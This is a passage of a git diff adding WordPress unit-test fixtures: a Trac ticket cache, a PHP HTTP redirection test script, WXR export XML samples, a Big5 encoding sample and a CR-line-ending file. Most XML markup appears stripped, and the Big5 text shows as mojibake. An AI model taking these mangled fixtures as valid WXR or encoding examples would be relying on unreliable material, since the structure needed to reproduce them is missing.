+22333 +22336 +22338 +22341 +22342 +22343 +22346 +22348 +22350 +22355 +22362 +22363 +22364 +22367 +22370 +22378 +22380 +22383 +22392 +22400 +22401 +22402 +22405 +22406 +22408 +22409 +22412 +22414 +22416 +22424 +22429 +22434 +22435 +22436 +22440 +22442 +22450 +22458 +22466 +22470 +22478 +22487 +22492 +22497 +22498 +22501 +22505 +22509 +22511 +22519 +22523 +22525 +22526 +22531 +22534 +22540 +22548 +22556 +22558 +22567 +22579 +22580 +22587 +22589 +22590 +22599 +22600 +22601 +22602 +22612 +22623 +22624 +22625 +22630 +22631 +22633 +22635 +22641 +22648 +22650 +22660 +22661 +22663 +22669 +22671 +22679 +22683 +22692 +22694 +22700 +22701 +22704 +22712 +22726 +22734 +22735 +22736 +22739 +22742 +22744 +22745 +22746 +22768 +22770 +22772 +22773 +22781 +22785 +22792 +22793 +22795 +22798 +22799 +22801 +22805 +22807 +22809 +22810 +22811 +22812 +22813 +22816 +22822 +22823 +22828 +22834 +22837 +22839 +22840 +22844 +22845 +22846 +22854 +22857 +22860 +22862 +22869 +22875 +22879 +22880 +22881 +22884 +22887 +22889 +22894 +22895 +22898 +22917 +22921 +22922 +22924 +22925 +22926 +22935 +22936 +22937 +22938 +22940 +22942 +22946 +22949 +22950 +22951 +22952 +22957 +22959 +22961 +22965 +22966 +22967 +22968 +22969 +22970 +22971 +22972 +22974 +22976 +22980 +22984 +22986 +22988 +22990 +22992 +22993 +22994 +22995 +22996 +22997 +22999 +23002 +23003 +23005 +23008 +23016 +23017 +23020 +23022 +23023 +23025 +23032 +23033 +23034 +23040 +23041 +23044 +23045 +23047 +23049 +23050 +23056 +23057 +23060 +23061 +23062 +23069 +23072 +23074 +23076 +23082 +23083 +23084 +23085 +23087 +23088 +23091 +23092 +23096 +23099 +23103 +23108 +23110 +23113 +23115 +23116 +23117 +23120 +23122 +23127 +23132 +23133 +23135 +23142 +23144 +23148 +23149 +23150 +23159 +23160 +23162 +23165 +23168 +23169 +23171 +23172 +23173 +23179 +23183 +23185 +23188 +23196 +23202 +23203 +23205 +23207 +23212 +23221 +23225 +23227 +23228 +23229 +23230 +23233 +23236 +23237 +23243 +23247 +23251 +23253 +23256 +23257 +23260 +23261 +23268 +23269 +23270 +23275 +23276 +23278 +23279 +23280 +23281 +23285 +23287 +23290 +23291 +23292 +23307 +23308 +23309 +23311 +23314 +23316 +23318 +23321 +23323 +23327 +23328 +23329 +23330 +23331 +23332 +23335 +23336 +23339 +23341 +23342 +23343 +23346 +23349 +23350 +23353 +23355 +23356 +23358 +23361 +23362 +23363 +23364 +23365 +23367 +23368 +23369 +23371 +23373 +23374 +23377 +23378 +23379 +23380 +23382 +23383 +23387 +23389 +23391 +23393 +23395 +23398 +23399 +23401 +23406 +23407 +23408 +23410 +23411 +23412 +23413 +23416 +23420 +23421 +23422 +23423 +23424 +23427 +23428 +23429 +23430 +23431 +23436 +23438 +23442 +23444 +23447 +23453 +23454 +23455 +23458 +23460 +23462 +23463 +23464 +23465 +23466 +23469 +23470 +23473 +23475 +23476 +23477 +23478 +23479 +23482 +23483 +23485 +23487 +23490 +23491 +23496 +23498 +23501 +23506 +23509 +23517 +23520 +23525 +23531 +23532 +23537 +23554 +23559 +23560 +23561 +23562 +23569 +23575 +23576 +23577 +23578 +23587 +23589 +23591 +23601 +23602 +23603 +23605 +23609 +23616 +23622 +23627 +23630 +23634 +23635 +23636 +23637 +23650 +23661 +23662 +23668 +23669 +23677 +23680 +23681 +23684 +23685 +23686 +23687 +23691 +23692 +23694 +23704 +23706 +23709 +23711 +23712 +23720 +23721 +23728 +23729 +23731 +23734 +23738 +23746 +23747 +23748 +23749 +23750 +23755 +23756 +23757 +23759 +23760 +23764 +23767 +23768 +23776 +23778 +23779 +23781 +23785 +23786 +23794 +23797 +23800 +23801 +23805 +23806 +23808 +23822 +23825 +23832 +23833 +23834 +23836 +23845 +23847 +23849 +23855 +23856 +23857 +23862 +23863 +23865 +23866 +23867 +23870 +23873 +23881 +23882 +23883 +23895 +23902 +23904 +23905 +23907 +23908 +23909 +23912 +23914 +23915 +23923 +23931 +23932 +23934 +23939 +23944 +23950 +23951 +23954 +23956 +23973 +23975 +23981 +23982 +23983 +23986 +23987 +23988 +23989 +24005 +24008 +24016 +24017 +24019 +24023 +24026 +24030 +24032 +24035 +24040 +24042 +24044 +24047 +24048 +24049 +24051 +24054 +24055 +24057 +24061 +24063 +24064 +24065 +24066 +24067 +24068 +24071 +24077 +24081 +24084 +24085 +24088 +24093 +24096 +24098 +24101 +24103 +24104 +24106 +24107 +24111 +24119 +24122 +24124 +24128 +24131 +24132 +24137 +24138 +24142 +24143 +24144 +24145 +24146 +24148 +24149 +24150 +24153 +24156 +24157 +24160 +24161 +24164 +24168 +24169 +24173 +24178 +24181 +24189 +24193 +24201 +24205 +24209 +24221 +24225 +24237 +24241 +24244 +24245 +24248 +24251 +24252 +24255 +24257 +24266 +24273 +24280 +24283 +24284 +24285 +24293 +24295 +24296 +24305 +24312 +24313 +24318 +24324 +24325 +24328 +24338 +24345 +24352 +24354 +24368 +24369 +24371 +24375 +24378 +24380 +24381 +24385 +24386 +24387 +24392 +24397 +24398 +24399 +24403 +24408 +24409 +24411 +24415 +24423 +24428 +24430 +24431 +24434 +24439 +24442 +24444 +24447 +24450 +24456 +24457 +24461 +24463 +24465 +24468 +24470 +24472 +24473 +24478 +24480 +24486 +24487 +24488 +24490 +24491 +24495 +24496 +24497 +24498 +24500 +24501 +24508 +24509 +24511 +24512 +24514 +24517 +24518 +24523 +24527 +24528 +24529 +24530 +24531 +24532 +24533 +24534 +24535 +24536 +24537 +24541 +24542 +24543 +24545 +24548 +24549 +24552 +24554 +24556 +24558 +24565 +24566 +24567 +24572 +24573 +24578 +24579 +24581 +24585 +24587 +24588 +24597 +24598 +24600 +24601 +24603 +24604 +24605 +24606 +24608 +24613 +24617 +24618 +24622 +24625 +24633 +24635 +24636 +24638 +24642 +24646 +24648 +24654 +24655 +24656 +24657 +24660 +24661 +24664 +24666 +24667 +24668 +24669 +24670 +24671 +24672 +24674 +24675 +24678 +24679 +24680 +24682 +24684 +24685 +24686 +24688 +24689 +24693 +24696 +24705 +24709 +24710 +24711 +24712 +24713 +24716 +24722 +24724 +24725 +24726 +24727 +24728 +24729 +24730 +24731 +24732 +24733 +24735 +24738 +24740 +24741 +24744 +24748 +24752 +24760 +24761 +24762 +24763 +24764 +24765 +24766 +24767 +24768 +24776 +24777 +24779 +24780 +24781 +24783 +24784 +24785 +24786 +24788 +24791 +24792 +24795 +24799 +24800 +24801 +24802 +24809 +24812 +24813 +24814 +24815 +24818 +24819 +24822 +24824 +24825 +24826 +24827 +24831 +24833 +24835 +24837 +24839 +24841 +24844 +24845 +24847 +24849 +24853 +24856 +24857 +24858 +24859 +24862 +24863 +24864 +24865 +24866 +24867 +24868 +24869 +24870 +24874 +24876 +24877 +24878 +24879 +24881 +24882 +24883 +24884 +24885 +24886 +24888 +24889 +24890 +24891 +24892 +24895 +24899 +24900 +24903 +24906 +24907 +24908 +24909 +24910 +24912 +24914 +24916 +24917 +24921 +24922 +24923 +24925 +24927 +24930 +24931 +24932 +24933 +24934 +24936 +24939 +24940 +24942 +24943 +24944 +24945 +24946 +24948 +24950 +24951 +24952 +24953 +24954 +24955 +24958 +24960 +24961 +24962 +24963 +24966 +24967 +24968 +24970 +24972 +24973 +24974 +24975 +24976 +2833 +4298 +4414 +4539 +4601 +4611 +4857 +5407 +5669 +5689 +5770 +6269 +6481 +6820 +6984 +7532 +7625 +7745 +7773 +7824 +7837 +8107 +8213 +8234 +8368 +8420 +8877 +9300 +9306 +9681 +9683 +9757 +9763 +9883 +9959 +9968 +10149 +10219 +10269 +10425 +10432 +10483 +10501 +10551 +10645 +10683 +10713 +10792 +10840 +10863 +11082 +11202 +11226 +11268 +11297 +11330 +11365 +11378 +11489 +11824 +11910 +12393 +12506 +12694 +12760 +12769 +12789 +12855 +13019 +13049 +13066 +13313 +13327 +13335 +13524 +13568 +13605 +13657 +13835 +14093 +14154 +14156 +14745 +14960 +15073 +15317 +15440 +15586 +15729 +15981 +16165 +16176 +16221 +16433 +16494 +16555 +16613 +16938 +17028 +17120 +17520 +17678 +17780 +18201 +18546 +18552 +18584 +18974 +19706 +20204 +20317 +20345 +20451 +20492 +20928 +20974 +21182 +21653 +21947 +22202 +22229 +22377 +22403 +22474 +22476 +22533 +22649 +22670 +22682 +23012 +23163 +23231 +23299 +23492 +23724 +23969 +24170 +24171 +24871 +3372 +6956 +7665 +8515 +8924 +9134 +9736 +9774 +11212 +11735 +12738 +12914 +13147 +13347 +13569 +14097 +14157 +14326 +14356 +14376 +14761 +14876 +15281 +15397 +15644 +16059 +16484 +17739 +18664 +19950 +21249 +21466 +21636 +21883 +23184 +23505 +23922 +24576 \ No newline at end of file diff --git a/tests/data/.trac-ticket-cache.unit-tests.trac.wordpress.org b/tests/data/.trac-ticket-cache.unit-tests.trac.wordpress.org new file mode 100644 index 0000000000..f32daf2439 --- /dev/null +++ b/tests/data/.trac-ticket-cache.unit-tests.trac.wordpress.org @@ -0,0 +1,29 @@ +¿id +12 +19 +22 +30 +32 +35 +39 +42 +99 +104 +105 +106 +110 +114 +116 +119 +120 +121 +124 +131 +132 +135 +136 +138 +139 +140 +141 +142 \ No newline at end of file diff --git a/tests/data/WPHTTP-testcase-redirection-script.php b/tests/data/WPHTTP-testcase-redirection-script.php new file mode 100644 index 0000000000..da99786544 --- /dev/null +++ b/tests/data/WPHTTP-testcase-redirection-script.php @@ -0,0 +1,112 @@ + $value ) { + if ( stripos($key, 'http') === 0 ) { + $key = strtolower(substr($key, 5)); + echo "$key:$value\n"; + } + } + exit; +} +if ( isset($_GET['multiple-headers']) ) { + header("HeaderName: One", false); + header("HeaderName: Two", false); + header("HeaderName: Three", false); + exit; +} + +if ( isset( $_GET['post-redirect-to-method'] ) ) { + $method = $_SERVER['REQUEST_METHOD']; + $response_code = isset( $_GET['response_code'] ) ? $_GET['response_code'] : 301; + + if ( 'POST' == $method && ! isset( $_GET['redirection-performed'] ) ) { + header( "Location: $url?post-redirect-to-method=1&redirection-performed=1", true, $response_code ); + exit; + } + + echo $method; + exit; + +} + +if ( isset( $_GET['location-with-200'] ) ) { + if ( ! isset( $_GET['redirection-performed'] ) ) { + header( "HTTP/1.1 200 OK" ); + header( "Location: $url?location-with-200=1&redirection-performed", true, 200 ); + echo 'PASS'; + exit; + } + // Redirection was followed + echo 'FAIL'; + exit; +} + +if ( isset( $_GET['print-pass'] ) ) { + echo 'PASS'; + exit; +} + +if ( isset( $_GET['multiple-location-headers'] ) ) { + if ( ! isset( $_GET['redirected'] ) ) { + header( "Location: $url?multiple-location-headers=1&redirected=one", false ); + header( "Location: $url?multiple-location-headers=1&redirected=two", false ); + exit; + } + if ( 'two' != $_GET['redirected'] ) + echo 'FAIL'; + else + echo 'PASS'; + exit; +} + +$rt = isset($_GET['rt']) ? $_GET['rt'] : 5; +$r = isset($_GET['r']) ? $_GET['r'] : 0; + +if ( $r < $rt ) { + $code = isset($_GET['code']) ? (int)$_GET['code'] : 302; + header("Location: $url?rt=" . $rt . "&r=" . ($r+1), true, $code); + echo "Redirect $r of $rt"; + exit; +} +echo "Redirect $r of $rt is FINAL.
"; +echo "GET['rt'] = Total times to redirect. Defaults to 5.
"; +echo "GET['r'] = Current redirection. Defaults to 0.
"; +echo "View Source"; + diff --git a/tests/data/export/crazy-cdata-escaped.xml b/tests/data/export/crazy-cdata-escaped.xml new file mode 100644 index 0000000000..4f4d80fa51 --- /dev/null +++ b/tests/data/export/crazy-cdata-escaped.xml @@ -0,0 +1,46 @@ + + + + 1.1 + http://wp.dev + + Hello world! + http://example.org/?p=1 + Thu, 05 Jan 2012 14:30:46 +0000 + admin + http://example.org/?p=1 + :)]]> + + 1 + 2012-01-05 14:30:46 + 2012-01-05 14:30:46 + open + open + hello-world + publish + 0 + 0 + post + + 0 + + Plain string + + + + Closing CDATA + ]]> + + + Alot of CDATA + closing ]]> + + + + diff --git a/tests/data/export/crazy-cdata.xml b/tests/data/export/crazy-cdata.xml new file mode 100644 index 0000000000..fc7d879c78 --- /dev/null +++ b/tests/data/export/crazy-cdata.xml @@ -0,0 +1,46 @@ + + + + 1.1 + http://wp.dev + + Hello world! + http://example.org/?p=1 + Thu, 05 Jan 2012 14:30:46 +0000 + admin + http://example.org/?p=1 + :)]]> + + 1 + 2012-01-05 14:30:46 + 2012-01-05 14:30:46 + open + open + hello-world + publish + 0 + 0 + post + + 0 + + Plain string + + + + Closing CDATA + ]]> + + + Alot of CDATA + closing ]]> + + + + diff --git a/tests/data/export/invalid-version-tag.xml b/tests/data/export/invalid-version-tag.xml new file mode 100644 index 0000000000..fddaca43bc --- /dev/null +++ b/tests/data/export/invalid-version-tag.xml @@ -0,0 +1,91 @@ + + + + + + + + + + + + + + + + + + + + + + WXR Test Data + http://localhost/ + Blog with sample content for testing + Sat, 09 Oct 2010 15:12:29 +0000 + en + abc + http://localhost/ + http://localhost/ + johnjohndoe@example.org + 1alpha + 2bar + 3beta + 4delta + 5epsilon + 6eta + 7foo + 8foo-barbar + 9gamma + 10iota + 11kappa + 12lambda + 13level-1 + 14level-2level-1 + 15level-3level-2 + 16parent + 17theta + 18uncategorized + 19zeta + 20also-level-3level-2 + 21childparent + 22clippable + 23deuterogamy + 24entablement + 25intermembral + 26masticatory + 27obligato + 28occultation + 29onion + 30pontonier + 31rooftree + 32saccule + 33salpa + 34tag-1 + 35tag-2 + 36tag-3 + 37tag-4 + 38tag-5 + 39tentage + 40post_taxbieup + 41post_taxblah + 42post_taxdigeut + 43post_taxgiyeok + 44post_taxhalb + 45post_taxmieum + 46post_taxnieun + 47post_taxparent-2 + 48post_taxrieul + 49post_taxsiot + 50post_taxtax-1 + 51post_taxtax-2 + 52post_taxblah-halbhalb + 53post_taxchild-parent-2parent-2 + + diff --git a/tests/data/export/malformed.xml b/tests/data/export/malformed.xml new file mode 100644 index 0000000000..06a7076fdb --- /dev/null +++ b/tests/data/export/malformed.xml @@ -0,0 +1,91 @@ + + + + + + + + + + + + + + + + + + + + + + WXR Test Data + http://localhost/ + Blog with sample content for testing + Sat, 09 Oct 2010 15:12:29 +0000 + en + abc + http://localhost/ + http://localhost/ + johnjohndoe@example.org + 1alpha + 2bar + 3beta + 4delta + 5epsilon + 6eta + 7foo + 8foo-barbar + 9gamma + 10iota + 11kappa + 12lambda + 13level-1 + 14level-2level-1 + 15level-3level-2 + 16parent + 17theta + 18uncategorized + 19zeta + 20also-level-3level-2 + 21childparent + 22clippable + 23deuterogamy + 24entablement + 25intermembral + 26masticatory + 27obligato + 28occultation + 29onion + 30pontonier + 31rooftree + 32saccule + 33salpa + 34tag-1 + 35tag-2 + 36tag-3 + 37tag-4 + 38tag-5 + 39tentage + 40post_taxbieup + 41post_taxblah + 42post_taxdigeut + 43post_taxgiyeok + 44post_taxhalb + 45post_taxmieum + 46post_taxnieun + 47post_taxparent-2 + 48post_taxrieul + 49post_taxsiot + 50post_taxtax-1 + 51post_taxtax-2 + 52post_taxblah-halbhalb + 53post_taxchild-parent-2parent-2 + + diff --git a/tests/data/export/missing-version-tag.xml b/tests/data/export/missing-version-tag.xml new file mode 100644 index 0000000000..5bd233e319 --- /dev/null +++ b/tests/data/export/missing-version-tag.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + WXR Test Data + http://localhost/ + Blog with sample content for testing + Sat, 09 Oct 2010 15:12:29 +0000 + en + http://localhost/ + http://localhost/ + johnjohndoe@example.org + 1alpha + 2bar + 3beta + 4delta + 5epsilon + 6eta + 7foo + 8foo-barbar + 9gamma + 10iota + 11kappa + 12lambda + 13level-1 + 14level-2level-1 + 15level-3level-2 + 16parent + 17theta + 18uncategorized + 19zeta + 20also-level-3level-2 + 21childparent + 22clippable + 23deuterogamy + 24entablement + 25intermembral + 26masticatory + 27obligato + 28occultation + 29onion + 30pontonier + 31rooftree + 32saccule + 33salpa + 34tag-1 + 35tag-2 + 36tag-3 + 37tag-4 + 38tag-5 + 39tentage + 40post_taxbieup + 41post_taxblah + 42post_taxdigeut + 43post_taxgiyeok + 44post_taxhalb + 45post_taxmieum + 46post_taxnieun + 47post_taxparent-2 + 48post_taxrieul + 49post_taxsiot + 50post_taxtax-1 + 51post_taxtax-2 + 52post_taxblah-halbhalb + 53post_taxchild-parent-2parent-2 + + diff --git a/tests/data/export/small-export.xml b/tests/data/export/small-export.xml new file mode 100644 index 0000000000..20b3de9364 --- /dev/null +++ b/tests/data/export/small-export.xml @@ -0,0 +1,447 @@ + + + + + + + + + + + + + + + + + + + + + + + trunk + http://localhost/ + Just another WordPress site + Tue, 18 Jan 2011 08:06:21 +0000 + en + 1.1 + http://localhost/ + http://localhost/ + + 1adminlocal@host.null + 2editoreditor@example.org + 3authorauthor@example.org + + 8alpha + 4bar + 9beta + 29chi + 11delta + 12epsilon + 14eta + 3foo + 5foo-barbar + 10gamma + 16iota + 17kappa + 18lambda + 19mu + 20nu + 31omega + 22omicron + 28phi + 23pi + 30psi + 24rho + 25sigma + 26tau + 15theta + 1uncategorized + 32unused-category + 27upsilon + 21xi + 13zeta + 7eternity + 33tag1 + 34tag2 + 35tag3 + + http://wordpress.org/?v=3.1-RC2-17315 + + + Hello world! + http://localhost/?p=1 + Tue, 18 Jan 2011 07:40:14 +0000 + author + http://localhost/?p=1 + + + + 1 + 2011-01-18 07:40:14 + 2011-01-18 07:40:14 + open + open + hello-world + publish + 0 + 0 + post + + 0 + + + Post by + + + + _edit_last + + + + 1 + + + http://wordpress.org/ + + 2011-01-18 07:40:14 + 2011-01-18 07:40:14 + To delete a comment, just log in and view the post's comments. There you will have the option to edit or delete them.]]> + 1 + + 0 + 0 + + + + Sample Page + http://localhost/?page_id=2 + Tue, 18 Jan 2011 07:40:14 +0000 + admin + http://localhost/?page_id=2 + + Hi there! I'm a bike messenger by day, aspiring actor by night, and this is my blog. I live in Los Angeles, have a great dog named Jack, and I like piña coladas. (And gettin' caught in the rain.) + +...or something like this: + +
The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickies to the public ever since. Located in Gotham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community.
+ +As a new WordPress user, you should go to your dashboard to delete this page and create new pages for your content. Have fun!]]>
+ + 2 + 2011-01-18 07:40:14 + 2011-01-18 07:40:14 + open + open + sample-page + publish + 0 + 0 + page + + 0 + + _wp_page_template + + +
+ + Child Page + http://localhost/?page_id=4 + Tue, 18 Jan 2011 07:45:50 +0000 + admin + http://localhost/?page_id=4 + + + + 4 + 2011-01-18 07:45:50 + 2011-01-18 07:45:50 + open + open + child-page + publish + 6 + 0 + page + + 0 + + _edit_last + + + + _wp_page_template + + + + + Parent Page + http://localhost/?page_id=6 + Tue, 18 Jan 2011 07:46:09 +0000 + admin + http://localhost/?page_id=6 + + + + 6 + 2011-01-18 07:46:09 + 2011-01-18 07:46:09 + open + open + parent-page + publish + 0 + 0 + page + + 0 + + _edit_last + + + + _wp_page_template + + + + + Draft Page + http://localhost/?page_id=9 + Wed, 30 Nov -0001 00:00:00 +0000 + admin + http://localhost/?page_id=9 + + + + 9 + 2011-01-18 07:46:29 + 0000-00-00 00:00:00 + open + open + + draft + 0 + 0 + page + + 0 + + _edit_last + + + + _wp_page_template + + + + + 1-col page + http://localhost/?page_id=11 + Tue, 18 Jan 2011 07:46:57 +0000 + admin + http://localhost/?page_id=11 + + + + 11 + 2011-01-18 07:46:57 + 2011-01-18 07:46:57 + open + open + 1-col-page + publish + 0 + 0 + page + + 0 + + _edit_last + + + + _wp_page_template + + + + + Private Post + http://localhost/?p=13 + Tue, 18 Jan 2011 07:47:19 +0000 + admin + http://localhost/?p=13 + + + + 13 + 2011-01-18 07:47:19 + 2011-01-18 07:47:19 + open + open + private-post + private + 0 + 0 + post + + 0 + + + + + + _edit_last + + + + + Foo-child + http://localhost/?p=15 + Tue, 18 Jan 2011 07:48:07 +0000 + editor + http://localhost/?p=15 + + + + 15 + 2011-01-18 07:48:07 + 2011-01-18 07:48:07 + open + open + foo-child + publish + 0 + 0 + post + + 0 + + + _edit_last + + + + Post by + + + + + Top-level Foo + http://localhost/?p=17 + Tue, 18 Jan 2011 07:48:32 +0000 + admin + http://localhost/?p=17 + + + + 17 + 2011-01-18 07:48:32 + 2011-01-18 07:48:32 + open + open + top-level-foo + publish + 0 + 0 + post + + 0 + + + _edit_last + + + + + Non-standard post format + http://localhost/?p=19 + Tue, 18 Jan 2011 07:48:52 +0000 + admin + http://localhost/?p=19 + + + + 19 + 2011-01-18 07:48:52 + 2011-01-18 07:48:52 + open + open + non-standard-post-format + publish + 0 + 0 + post + + 0 + + + + _edit_last + + + + + Many Categories + http://localhost/?p=22 + Tue, 18 Jan 2011 07:55:01 +0000 + admin + http://localhost/?p=22 + + + + 22 + 2011-01-18 07:55:01 + 2011-01-18 07:55:01 + open + open + many-categories + publish + 0 + 0 + post + + 0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + _edit_last + + + +
+
diff --git a/tests/data/export/test-serialized-postmeta-no-cdata.xml b/tests/data/export/test-serialized-postmeta-no-cdata.xml new file mode 100644 index 0000000000..dd75787f42 --- /dev/null +++ b/tests/data/export/test-serialized-postmeta-no-cdata.xml @@ -0,0 +1,69 @@ + + + + + + + + + + + + + + + + + + + + + + Test With Serialized Postmeta + http://test.wordpress.org/ + Just another blog + Mon, 30 Nov 2009 21:35:27 +0000 + http://wordpress.org/?v=2.8.4 + en + 1.0 + http://test.wordpress.org/ + http://test.wordpress.org/ + +My Entry with Postmeta +http://test.wordpress.org/postemta +Tue, 30 Nov 1999 00:00:00 +0000 + + + + + + +http://test.wordpress.org/postmeta + + + +122 +2009-10-20 16:13:20 +0000-00-00 00:00:00 +open +open + +draft +0 +0 +post + + +post-options +a:2:{s:18:"special_post_title";s:15:"A special title";s:11:"is_calendar";s:0:"";} + + + + + diff --git a/tests/data/export/test-serialized-postmeta-with-cdata.xml b/tests/data/export/test-serialized-postmeta-with-cdata.xml new file mode 100644 index 0000000000..2fd3923501 --- /dev/null +++ b/tests/data/export/test-serialized-postmeta-with-cdata.xml @@ -0,0 +1,77 @@ + + + + + + + + + + + + + + + + + + + + + + Test With Serialized Postmeta + http://test.wordpress.org/ + Just another blog + Mon, 30 Nov 2009 21:35:27 +0000 + http://wordpress.org/?v=2.8.4 + en + 1.0 + http://test.wordpress.org/ + http://test.wordpress.org/ + +My Entry with Postmeta +http://test.wordpress.org/postemta +Tue, 30 Nov 1999 00:00:00 +0000 + + + + + + +http://test.wordpress.org/postmeta + + + +10 +2009-10-20 16:13:20 +0000-00-00 00:00:00 +open +open + +draft +0 +0 +post + + +post-options + + + +contains-html +some html]]> + + +evil +evil]]> + + + + + diff --git a/tests/data/export/test-utw-post-meta-import.xml b/tests/data/export/test-utw-post-meta-import.xml new file mode 100644 index 0000000000..c491f6d4c8 --- /dev/null +++ b/tests/data/export/test-utw-post-meta-import.xml @@ -0,0 +1,69 @@ + + + + + + + + + + + + + + + + + + + + + + Test With Serialized Postmeta + http://test.wordpress.org/ + Just another blog + Mon, 30 Nov 2009 21:35:27 +0000 + http://wordpress.org/?v=2.8.4 + en + 1.0 + http://test.wordpress.org/ + http://test.wordpress.org/ + +My Entry with UTW Postmeta +http://test.wordpress.org/postmeta-utw +Tue, 30 Nov 1999 00:00:00 +0000 + + + + + + +http://test.wordpress.org/postmeta-utw + + + +150 +2009-10-20 16:13:20 +0000-00-00 00:00:00 +open +open + +draft +0 +0 +post + + +test +a:13:{i:0;O:8:"stdClass":1:{s:3:"tag";s:5:"album";}i:1;O:8:"stdClass":1:{s:3:"tag";s:5:"apple";}i:2;O:8:"stdClass":1:{s:3:"tag";s:3:"art";}i:3;O:8:"stdClass":1:{s:3:"tag";s:7:"artwork";}i:4;O:8:"stdClass":1:{s:3:"tag";s:11:"dead-tracks";}i:5;O:8:"stdClass":1:{s:3:"tag";s:4:"ipod";}i:6;O:8:"stdClass":1:{s:3:"tag";s:6:"itunes";}i:7;O:8:"stdClass":1:{s:3:"tag";s:10:"javascript";}i:8;O:8:"stdClass":1:{s:3:"tag";s:6:"lyrics";}i:9;O:8:"stdClass":1:{s:3:"tag";s:6:"script";}i:10;O:8:"stdClass":1:{s:3:"tag";s:6:"tracks";}i:11;O:8:"stdClass":1:{s:3:"tag";s:22:"windows-scripting-host";}i:12;O:8:"stdClass":1:{s:3:"tag";s:7:"wscript";}} + + + + + diff --git a/tests/data/export/valid-wxr-1.0.xml b/tests/data/export/valid-wxr-1.0.xml new file mode 100644 index 0000000000..587e57123b --- /dev/null +++ b/tests/data/export/valid-wxr-1.0.xml @@ -0,0 +1,282 @@ + + + + + + + + + + + + + + + + + + + + + + Export Dataset + http://localhost/ + Just another WordPress site + Wed, 20 Oct 2010 14:10:09 +0000 + http://wordpress.org/?v=3.0.1 + en + 1.0 + http://localhost/ + http://localhost/ + alpha + beta + parent + uncategorized + childparent + chicken + face + news + roar + + http://wordpress.org/?v=3.0.1 + + + Hello world! + http://localhost/?p=1 + Wed, 20 Oct 2010 14:08:20 +0000 + + + + + + + http://localhost/?p=1 + + + + 1 + 2010-10-20 14:08:20 + 2010-10-20 14:08:20 + open + open + hello-world + publish + 0 + 0 + post + + 0 + + 1 + + + http://wordpress.org/ + + 2010-10-20 14:08:20 + 2010-10-20 14:08:20 + To delete a comment, just log in and view the post's comments. There you will have the option to edit or delete them.]]> + 1 + + 0 + 0 + + + + About + http://localhost/?page_id=2 + Wed, 20 Oct 2010 14:08:20 +0000 + + + http://localhost/?page_id=2 + + + + 2 + 2010-10-20 14:08:20 + 2010-10-20 14:08:20 + open + open + about + publish + 0 + 0 + page + + 0 + + _wp_page_template + + + + + Alpha post + http://localhost/?p=4 + Wed, 20 Oct 2010 14:09:37 +0000 + + + + + + + + + + + + + + + http://localhost/?p=4 + + + + 4 + 2010-10-20 14:09:37 + 2010-10-20 14:09:37 + open + open + alpha-post + publish + 0 + 0 + post + + 0 + + _edit_last + + + + _edit_lock + + + + _wp_old_slug + + + + + Child post + http://localhost/?p=6 + Wed, 20 Oct 2010 14:10:09 +0000 + + + + + + + + + + + + + + + http://localhost/?p=6 + + + + 6 + 2010-10-20 14:10:09 + 2010-10-20 14:10:09 + open + open + child-post + publish + 0 + 0 + post + + 0 + + _edit_last + + + + _edit_lock + + + + _wp_old_slug + + + + + Child page + http://localhost/?page_id=8 + Wed, 20 Oct 2010 14:10:35 +0000 + + + http://localhost/?page_id=8 + + + + 8 + 2010-10-20 14:10:35 + 2010-10-20 14:10:35 + open + closed + child-post + publish + 10 + 0 + page + + 0 + + _edit_last + + + + _edit_lock + + + + _wp_page_template + + + + + Parent page + http://localhost/?page_id=10 + Wed, 20 Oct 2010 14:10:44 +0000 + + + http://localhost/?page_id=10 + + + + 10 + 2010-10-20 14:10:44 + 2010-10-20 14:10:44 + open + open + parent-page + publish + 0 + 0 + page + + 0 + + _edit_lock + + + + _edit_last + + + + _wp_page_template + + + + + diff --git a/tests/data/export/valid-wxr-1.1.xml b/tests/data/export/valid-wxr-1.1.xml new file mode 100644 index 0000000000..f389741f1b --- /dev/null +++ b/tests/data/export/valid-wxr-1.1.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + Export Datasets + http://localhost/ + Just another WordPress site + Sat, 16 Oct 2010 20:53:18 +0000 + en + 1.1 + http://localhost/ + http://localhost/ + + 2johnjohndoe@example.org + + 3alpha + 22clippable + 40post_taxbieup + + http://wordpress.org/?v=3.1-alpha + + + Hello world! + http://localhost/?p=1 + Sat, 16 Oct 2010 20:53:18 +0000 + john + http://localhost/?p=1 + + + + 1 + 2010-10-16 20:53:18 + 2010-10-16 20:53:18 + open + open + hello-world + publish + 0 + 0 + post + + 0 + + + + + 1 + + + http://wordpress.org/ + + 2010-10-16 20:53:18 + 2010-10-16 20:53:18 + To delete a comment, just log in and view the post's comments. There you will have the option to edit or delete them.]]> + 1 + + 0 + 0 + + + + About + http://localhost/?page_id=2 + Sat, 16 Oct 2010 20:53:18 +0000 + john + http://localhost/?page_id=2 + + + + 2 + 2010-10-16 20:53:18 + 2010-10-16 20:53:18 + open + open + about + publish + 0 + 0 + page + + 0 + + _wp_page_template + + + + + diff --git a/tests/data/formatting/big5.txt b/tests/data/formatting/big5.txt new file mode 100644 index 0000000000..5e0ebb467b --- /dev/null +++ b/tests/data/formatting/big5.txt @@ -0,0 +1,51 @@ +?lmDwgn H@~|Q + +?lDg + +H@ + +DiDAD`DCWiWAD`WCLAW?alQAWUC +G`LAH[?F`AH[uC?APX?WAP? +?C?S?AC + +HG + +?U?AcoQ?AoCGL??A +?Au??AU?gAn?MAeHCOHtHBuL +voAuv?CU@j?A??A?A\ +?~C??~AOHhC + +HT + +|A?QQofA?sQiA?? +COHutHvvA?A?Az?Aj?C`?LL +C???]CuLvAhLvC + +h| + +uDvRA????CWAUvQUA?gAM +AP?Q?FsC^?lHH?C + +H + +?aAHU?QtHAH?m?C?aAS +GH?}A??UXCh?aApuC + +H + +AO??gC??AO??a?CYsA??C + +HC + +?a[C?a?HB[?AH???AG[COHtH +?A~??sCDHLpHG?pC + +HK + +WYCQU?CBH?cAGXDC~aA? +WAPAHAFvA?A?gC??AGL?C + +HE + +??ApwQ?UAiOC?AuQIQ +zA?SC\EhA?DC diff --git a/tests/data/formatting/cr-line-endings-file-header.php b/tests/data/formatting/cr-line-endings-file-header.php new file mode 100644 index 0000000000..e8f3869999 --- /dev/null +++ b/tests/data/formatting/cr-line-endings-file-header.php @@ -0,0 +1,5 @@ ++~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g, + expando = 